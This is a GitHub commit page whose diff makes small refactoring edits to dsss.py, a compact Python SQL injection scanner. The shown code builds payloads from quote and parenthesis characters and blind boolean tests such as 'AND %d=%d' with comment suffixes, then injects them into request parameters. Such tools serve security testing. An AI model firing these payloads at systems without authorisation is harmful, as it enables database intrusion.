Permalink
Browse files

Update master

  • Loading branch information...
1 parent ad19b7d commit 3c2855f1fb5b0a63a82c5cd0031c56c1223c2fd0 @stamparm committed Jul 16, 2012
Showing with 9 additions and 11 deletions.
  1. +9 −11 dsss.py
View
@@ -3,18 +3,17 @@
import difflib, httplib, itertools, optparse, random, re, urllib2, urlparse
NAME = "Damn Small SQLi Scanner (DSSS) < 100 LOC (Lines of Code)"
-VERSION = "0.2"
+VERSION = "0.2b"
AUTHOR = "Miroslav Stampar (http://unconciousmind.blogspot.com | @stamparm)"
LICENSE = "Public domain (FREE)"
-INVALID_SQL_CHAR_POOL = ('(', ')', '\'', '"') # characters used for SQL poisoning of parameter values
PREFIXES = (" ", ") ", "' ", "') ", "\"") # prefix values used for building testing blind payloads
SUFFIXES = ("", "-- ", "#") # suffix values used for building testing blind payloads
+TAMPER_SQL_CHAR_POOL = ('(', ')', '\'', '"') # characters used for SQL tampering/poisoning of parameter values
BOOLEAN_TESTS = ("AND %d=%d", "OR NOT (%d=%d)") # boolean tests used for building testing blind payloads
COOKIE, UA, REFERER = "Cookie", "User-Agent", "Referer" # optional HTTP header names
GET, POST = "GET", "POST" # enumerator-like values used for marking current phase
TEXT, HTTPCODE, TITLE, HTML = range(4) # enumerator-like values used for marking content type
-MIN_BOOL_VAL, MAX_BOOL_VAL = 100, 255 # minimum and maximum random range values used in boolean tests
FUZZY_THRESHOLD = 0.95 # ratio value in range (0,1) used for distinguishing True from False responses
DBMS_ERRORS = {
@@ -34,7 +33,7 @@ def retrieve_content(url, data=None):
retval[HTML] = urllib2.urlopen(req).read()
except Exception, ex:
retval[HTTPCODE] = getattr(ex, "code", None)
- retval[HTML] = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", str())
+ retval[HTML] = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", "")
match = re.search(r"<title>(?P<result>[^<]+)</title>", retval[HTML], re.I)
retval[TITLE] = match.group("result") if match and "result" in match.groupdict() else None
retval[TEXT] = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|\s+", " ", retval[HTML])
@@ -48,16 +47,15 @@ def scan_page(url, data=None):
for match in re.finditer(r"((\A|[?&])(?P<parameter>\w+)=)(?P<value>[^&]+)", current):
vulnerable, usable = False, True
print "* scanning %s parameter '%s'" % (phase, match.group("parameter"))
- tampered = current.replace(match.group(0), "%s%s" % (match.group(0), "".join(random.sample(INVALID_SQL_CHAR_POOL, len(INVALID_SQL_CHAR_POOL)))))
+ tampered = current.replace(match.group(0), "%s%s" % (match.group(0), "".join(random.sample(TAMPER_SQL_CHAR_POOL, len(TAMPER_SQL_CHAR_POOL)))))
content = retrieve_content(tampered, data) if phase is GET else retrieve_content(url, tampered)
- for dbms in DBMS_ERRORS:
- for regex in DBMS_ERRORS[dbms]:
- if not vulnerable and re.search(regex, content[HTML], re.I):
- print " (i) %s parameter '%s' could be error SQLi vulnerable (%s)" % (phase, match.group("parameter"), dbms)
- retval = vulnerable = True
+ for (dbms, regex) in ((dbms, regex) for dbms in DBMS_ERRORS for regex in DBMS_ERRORS[dbms]):
+ if not vulnerable and re.search(regex, content[HTML], re.I):
+ print " (i) %s parameter '%s' could be error SQLi vulnerable (%s)" % (phase, match.group("parameter"), dbms)
+ retval = vulnerable = True
vulnerable = False
original = retrieve_content(current, data) if phase is GET else retrieve_content(url, current)
- left, right = random.sample(xrange(MIN_BOOL_VAL, MAX_BOOL_VAL + 1), 2)
+ left, right = random.sample(xrange(256), 2)
for prefix, boolean, suffix in itertools.product(PREFIXES, BOOLEAN_TESTS, SUFFIXES):
if not vulnerable:
template = "%s%s%s" % (prefix, boolean, suffix)

0 comments on commit 3c2855f

Please sign in to comment.